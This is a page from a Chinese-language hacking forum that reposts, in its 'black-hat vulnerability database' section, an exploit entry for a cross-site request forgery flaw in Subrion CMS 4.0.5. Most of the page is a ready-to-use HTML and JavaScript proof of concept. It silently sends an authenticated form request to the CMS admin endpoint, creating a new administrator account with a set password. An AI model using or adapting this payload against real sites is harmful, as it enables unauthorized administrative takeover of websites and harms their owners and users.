跳转到帖子

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin)

HACK1949
HACK1949
在 黑帽漏洞数据库

精选回复

发布于 
# Exploit Title:  Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-01-05
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://intelliants.com/
# Software Link : https://github.com/intelliants/subrion/releases/tag/v4.0.5
# Software : Subrion CMS
# Product Version: v 4.0.5.10
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A

# Description :
# CSRF vulnerability was discovered in v4.0.5 version of Subrion CMS.
# With this vulnerability, authorized users can be added to the system.

HTML CSRF PoC :

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/SERVER\/_core\/admin\/members\/add\/", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------9973334999367242361642875270");
        xhr.withCredentials = true;
        var body = "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"__st\"\r\n" +
          "\r\n" +
          "41209a5f43b0d7c8cef0e7ffcd9ce160\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"username\"\r\n" +
          "\r\n" +
          "ismailtasdelen\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"fullname\"\r\n" +
          "\r\n" +
          "Ismail Tasdelen\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"email\"\r\n" +
          "\r\n" +
          "[email protected]\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"_password\"\r\n" +
          "\r\n" +
          "Test1234!\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"_password2\"\r\n" +
          "\r\n" +
          "Test1234!\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"usergroup_id\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"v[avatar[]]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"avatar[]\"; filename=\"\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"website\"\r\n" +
          "\r\n" +
          "https://ismailtasdelen.com\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"phone\"\r\n" +
          "\r\n" +
          "0000000000000000000\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"biography\"\r\n" +
          "\r\n" +
          "NULL\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"facebook\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"twitter\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"gplus\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"linkedin\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"sponsored\"\r\n" +
          "\r\n" +
          "0\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"plan_id\"\r\n" +
          "\r\n" +
          "2\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"sponsored_end\"\r\n" +
          "\r\n" +
          "2020-02-05 05:18:43\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"featured\"\r\n" +
          "\r\n" +
          "0\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"featured_end\"\r\n" +
          "\r\n" +
          "2020-02-05 05:19\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"status\"\r\n" +
          "\r\n" +
          "active\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"save\"\r\n" +
          "\r\n" +
          "Add\r\n" +
          "-----------------------------9973334999367242361642875270\r\n" +
          "Content-Disposition: form-data; name=\"goto\"\r\n" +
          "\r\n" +
          "list\r\n" +
          "-----------------------------9973334999367242361642875270--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。